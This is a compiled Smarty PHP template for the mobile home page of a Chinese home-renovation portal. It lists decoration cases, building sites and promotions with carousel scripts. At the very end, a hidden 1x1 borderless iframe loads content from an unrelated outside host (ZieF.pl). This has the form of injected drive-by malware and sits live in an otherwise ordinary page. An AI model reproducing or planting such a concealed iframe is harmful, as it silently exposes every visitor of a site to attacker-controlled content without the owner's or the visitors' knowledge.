<?php /* Smarty version Smarty-3.1.8, created on 2014-03-10 10:01:04
         compiled from "mobile:index.html" */ ?>
<?php /*%%SmartyHeaderCode:868531d1ce0f131d7-33950811%%*/if(!defined('SMARTY_DIR')) exit('no direct access allowed');
$_valid = $_smarty_tpl->decodeProperties(array (
  'file_dependency' => 
  array (
    'f1b13e8567537afc07f9e8ab1b5eb50223f50d0e' => 
    array (
      0 => 'mobile:index.html',
      1 => 1390642632,
      2 => 'mobile',
    ),
  ),
  'nocache_hash' => '868531d1ce0f131d7-33950811',
  'function' => 
  array (
  ),
  'variables' => 
  array (
    'request' => 0,
    'CONFIG' => 0,
    'item' => 0,
    'pager' => 0,
    'case_attrs' => 0,
    'v' => 0,
    'vv' => 0,
  ),
  'has_nocache_code' => false,
  'version' => 'Smarty-3.1.8',
  'unifunc' => 'content_531d1ce10cae16_13863505',
),false); /*/%%SmartyHeaderCode%%*/?>
<?php if ($_valid && !is_callable('content_531d1ce10cae16_13863505')) {function content_531d1ce10cae16_13863505($_smarty_tpl) {?><?php if (!is_callable('smarty_function_link')) include 'E:\\phpStudy\\WWW\\system\\plugins/smarty\\function.link.php';
if (!is_callable('smarty_block_AD')) include 'E:\\phpStudy\\WWW\\system\\plugins/smarty\\block.AD.php';
if (!is_callable('smarty_block_calldata')) include 'E:\\phpStudy\\WWW\\system\\plugins/smarty\\block.calldata.php';
?><!DOCTYPE HTML>
<html>
<head>
<meta charset="UTF-8">
<title><?php echo $_smarty_tpl->tpl_vars['request']->value['city']['seo_title'];?>
 -<?php echo $_smarty_tpl->tpl_vars['CONFIG']->value['mobile']['title'];?>
</title>
<meta name="Keywords" content="<?php echo $_smarty_tpl->tpl_vars['request']->value['city']['seo_keywords'];?>
" />
<meta name="Description" content="<?php echo $_smarty_tpl->tpl_vars['request']->value['city']['seo_description'];?>
" />
<link type="text/css" rel="stylesheet" href="style/index.css">
<?php echo $_smarty_tpl->getSubTemplate ("mobile:block/sheader.html", $_smarty_tpl->cache_id, $_smarty_tpl->compile_id, null, null, array(), 0);?>

</head>
<body>
    <!--页面内容开始 -->
    <div class="warp">
        <!--头部内容开始 -->
        <header >
            <h1 class="logo"><img src="images/index_logo.png" alt="logo" /></h1>
            <div class="index_search">公司/图库/工地</div>
            <a href="<?php echo smarty_function_link(array('ctl'=>'city'),$_smarty_tpl);?>
" class="city"><?php echo $_smarty_tpl->tpl_vars['request']->value['city']['city_name'];?>
<span class="down-triangle1"></span></a>
        </header>
        <!--头部内容结束 -->
    <!--search -->
    <?php echo $_smarty_tpl->getSubTemplate ("mobile:block/search.html", $_smarty_tpl->cache_id, $_smarty_tpl->compile_id, null, null, array(), 0);?>

    <!--search end-->
<!--main开始 -->        
<div class="width320 main">
    <div class="index_nav">
        <a href="<?php echo smarty_function_link(array('ctl'=>'case'),$_smarty_tpl);?>
" class="a1"><img src="images/a1.png" alt="装修案例"/>装修案例</a>
        <a href="<?php echo smarty_function_link(array('ctl'=>'company'),$_smarty_tpl);?>
" class="a2"><img src="images/a2.png" alt="找公司"/>找公司</a>
        <a href="<?php echo smarty_function_link(array('ctl'=>'site'),$_smarty_tpl);?>
" class="a3"><img src="images/a3.png" alt="找工地"/>找工地</a>
        <a href="<?php echo smarty_function_link(array('ctl'=>'youhui'),$_smarty_tpl);?>
" class="a4"><img src="images/a4.png" alt="优惠活动"/>优惠活动</a>
        <a href="<?php echo smarty_function_link(array('ctl'=>'article'),$_smarty_tpl);?>
" class="a5"><img src="images/a5.png" alt="装修学堂"/>装修学堂</a>
    </div>
    <div class="clear"></div>
        <!--banner-->
        <div class="banner_box">
            <div class="banner">
                <div class="inner" style="width: 900px;">
                <?php $_smarty_tpl->smarty->_tag_stack[] = array('AD', array('name'=>"手机首页轮转广告",'limit'=>"3")); $_block_repeat=true; echo smarty_block_AD(array('name'=>"手机首页轮转广告",'limit'=>"3"), null, $_smarty_tpl, $_block_repeat);while ($_block_repeat) { ob_start();?>
<a href="<?php echo $_smarty_tpl->tpl_vars['item']->value['link'];?>
"><img src="<?php echo $_smarty_tpl->tpl_vars['pager']->value['img'];?>
/<?php echo $_smarty_tpl->tpl_vars['item']->value['thumb'];?>
"/></a><?php $_block_content = ob_get_clean(); $_block_repeat=false; echo smarty_block_AD(array('name'=>"手机首页轮转广告",'limit'=>"3"), $_block_content, $_smarty_tpl, $_block_repeat);  } array_pop($_smarty_tpl->smarty->_tag_stack);?>

                </div>
            </div>
            <div class="pointer" id="pointer">
                <span class="color"></span><span></span><span></span>
            </div>
        </div>
        <!--banner end-->
        <div class="clear"></div>
    <!--效果图-->
    <section class="index_box">
        <h2><p><span class="red">Hot</span>效果图</p><span class="line_bg"></span></h2>
            <div class="width300">
                
                <div id="flipsnap_img1" class="flipsnap_img" style="width: 840px">
                    <?php $_smarty_tpl->smarty->_tag_stack[] = array('calldata', array('mdl'=>"case/case",'city_id'=>$_smarty_tpl->tpl_vars['request']->value['city_id'],'order'=>"hot",'limit'=>"6")); $_block_repeat=true; echo smarty_block_calldata(array('mdl'=>"case/case",'city_id'=>$_smarty_tpl->tpl_vars['request']->value['city_id'],'order'=>"hot",'limit'=>"6"), null, $_smarty_tpl, $_block_repeat);while ($_block_repeat) { ob_start();?>

                    <a href="<?php echo smarty_function_link(array('ctl'=>'case:detail','arg0'=>$_smarty_tpl->tpl_vars['item']->value['case_id']),$_smarty_tpl);?>
" title="<?php echo $_smarty_tpl->tpl_vars['item']->value['title'];?>
"><img src="<?php echo $_smarty_tpl->tpl_vars['pager']->value['img'];?>
/<?php echo $_smarty_tpl->tpl_vars['item']->value['photo'];?>
_thumb.jpg" alt="<?php echo $_smarty_tpl->tpl_vars['item']->value['title'];?>
"></a>
                    <?php $_block_content = ob_get_clean(); $_block_repeat=false; echo smarty_block_calldata(array('mdl'=>"case/case",'city_id'=>$_smarty_tpl->tpl_vars['request']->value['city_id'],'order'=>"hot",'limit'=>"6"), $_block_content, $_smarty_tpl, $_block_repeat);  } array_pop($_smarty_tpl->smarty->_tag_stack);?>

                </div>
            </div>
            <?php  $_smarty_tpl->tpl_vars['v'] = new Smarty_Variable; $_smarty_tpl->tpl_vars['v']->_loop = false;
 $_smarty_tpl->tpl_vars['k'] = new Smarty_Variable;
 $_from = $_smarty_tpl->tpl_vars['case_attrs']->value; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array');}
foreach ($_from as $_smarty_tpl->tpl_vars['v']->key => $_smarty_tpl->tpl_vars['v']->value){
$_smarty_tpl->tpl_vars['v']->_loop = true;
 $_smarty_tpl->tpl_vars['k']->value = $_smarty_tpl->tpl_vars['v']->key;
?>
            <?php if ($_smarty_tpl->tpl_vars['v']->value['filter']){?>
            <div class="white_box">
                <h3><?php echo $_smarty_tpl->tpl_vars['v']->value['title'];?>
</h3>
                <?php  $_smarty_tpl->tpl_vars['vv'] = new Smarty_Variable; $_smarty_tpl->tpl_vars['vv']->_loop = false;
 $_smarty_tpl->tpl_vars['kk'] = new Smarty_Variable;
 $_from = $_smarty_tpl->tpl_vars['v']->value['values']; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array');}
foreach ($_from as $_smarty_tpl->tpl_vars['vv']->key => $_smarty_tpl->tpl_vars['vv']->value){
$_smarty_tpl->tpl_vars['vv']->_loop = true;
 $_smarty_tpl->tpl_vars['kk']->value = $_smarty_tpl->tpl_vars['vv']->key;
?><a class="button_gray oval" href="<?php echo smarty_function_link(array('ctl'=>'case:index','arg0'=>$_smarty_tpl->tpl_vars['vv']->value['attr_value_id']),$_smarty_tpl);?>
"><?php echo $_smarty_tpl->tpl_vars['vv']->value['title'];?>
</a><?php } ?>
            </div>
            <?php }?>
            <?php } ?>
    </section>
    <!--效果图 end-->
    <div class="clear"></div>
    <!--在建工地-->
    <section class="index_box">
        <h2><p><span class="red">Hot</span>在建工地</p><span class="line_bg"></span></h2>
            <div class="width300">
                <div id="flipsnap_img2" class="flipsnap_img" style="width: 840px">
                <?php $_smarty_tpl->smarty->_tag_stack[] = array('calldata', array('mdl'=>"home/site",'city_id'=>$_smarty_tpl->tpl_vars['request']->value['city_id'],'limit'=>"6")); $_block_repeat=true; echo smarty_block_calldata(array('mdl'=>"home/site",'city_id'=>$_smarty_tpl->tpl_vars['request']->value['city_id'],'limit'=>"6"), null, $_smarty_tpl, $_block_repeat);while ($_block_repeat) { ob_start();?>

                    <a href="<?php echo smarty_function_link(array('ctl'=>'site'),$_smarty_tpl);?>
"><img src="<?php echo $_smarty_tpl->tpl_vars['pager']->value['img'];?>
/<?php echo $_smarty_tpl->tpl_vars['item']->value['face_pic'];?>
" alt="<?php echo $_smarty_tpl->tpl_vars['item']->value['title'];?>
"></a>
                <?php $_block_content = ob_get_clean(); $_block_repeat=false; echo smarty_block_calldata(array('mdl'=>"home/site",'city_id'=>$_smarty_tpl->tpl_vars['request']->value['city_id'],'limit'=>"6"), $_block_content, $_smarty_tpl, $_block_repeat);  } array_pop($_smarty_tpl->smarty->_tag_stack);?>

                </div>
            </div>
    </section>
    <!--在建工地 end-->
    <!--优惠活动-->
    <section class="index_box">
        <h2><p><span class="red">Hot</span>优惠活动</p><span class="line_bg"></span></h2>
        <?php $_smarty_tpl->smarty->_tag_stack[] = array('calldata', array('mdl'=>"company/youhui",'city_id'=>$_smarty_tpl->tpl_vars['request']->value['city_id'],'order'=>"new",'limit'=>"3")); $_block_repeat=true; echo smarty_block_calldata(array('mdl'=>"company/youhui",'city_id'=>$_smarty_tpl->tpl_vars['request']->value['city_id'],'order'=>"new",'limit'=>"3"), null, $_smarty_tpl, $_block_repeat);while ($_block_repeat) { ob_start();?>

        <a class="promotions_box" href="<?php echo smarty_function_link(array('ctl'=>'youhui:detail','arg0'=>$_smarty_tpl->tpl_vars['item']->value['youhui_id']),$_smarty_tpl);?>
">
            <img class="promotions" src="<?php echo $_smarty_tpl->tpl_vars['pager']->value['img'];?>
/<?php echo $_smarty_tpl->tpl_vars['item']->value['face_pic'];?>
" alt="<?php echo $_smarty_tpl->tpl_vars['item']->value['title'];?>
" />
            <span class="title"><?php echo $_smarty_tpl->tpl_vars['item']->value['title'];?>
</span>
            <span class="date"><span class="zhong"></span><?php echo $_smarty_tpl->tpl_vars['item']->value['bg_date'];?>
~<?php echo $_smarty_tpl->tpl_vars['item']->value['end_date'];?>
</span>
            <span class="date"><?php if ($_smarty_tpl->tpl_vars['item']->value['last_date']){?>火热进行中<?php }else{ ?>已经结束<?php }?></span>
        </a>
        <?php $_block_content = ob_get_clean(); $_block_repeat=false; echo smarty_block_calldata(array('mdl'=>"company/youhui",'city_id'=>$_smarty_tpl->tpl_vars['request']->value['city_id'],'order'=>"new",'limit'=>"3"), $_block_content, $_smarty_tpl, $_block_repeat);  } array_pop($_smarty_tpl->smarty->_tag_stack);?>

    </section>
    <!--优惠活动 end-->
</div>
<!--main结束 -->
<?php echo $_smarty_tpl->getSubTemplate ("mobile:block/sfooter.html", $_smarty_tpl->cache_id, $_smarty_tpl->compile_id, null, null, array(), 0);?>

<!--底部悬浮开始 -->
<?php echo $_smarty_tpl->getSubTemplate ("mobile:block/toolbar.html", $_smarty_tpl->cache_id, $_smarty_tpl->compile_id, null, null, array(), 0);?>

<!--底部悬浮结束-->
<div id="bgdiv"></div>
<!--底部悬浮结束--> 
<div id="bgdiv"></div>
<script type="text/javascript">
    var $pointer = $('.pointer span');
    var flipsnap = Flipsnap('.inner', { distance: 300 });
    flipsnap.element.addEventListener('fsmoveend', function () {
        $pointer.filter('.color').removeClass('color');
        $pointer.eq(flipsnap.currentPoint).addClass('color');
    }, false);
    if ($("#flipsnap_img1").size() > 0) {
        var mp = $("#flipsnap_img1 a").size() - 2;
        if (mp > 0) {
            Flipsnap('#flipsnap_img1', { distance: 140, maxPoint: mp });
        }
    }
    if ($("#flipsnap_img2").size() > 0) {
        var mp = $("#flipsnap_img2 a").size() - 2;
        if (mp > 0) {
            Flipsnap('#flipsnap_img2', { distance: 140, maxPoint: mp });
        }
    }
</script>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
<?php }} ?>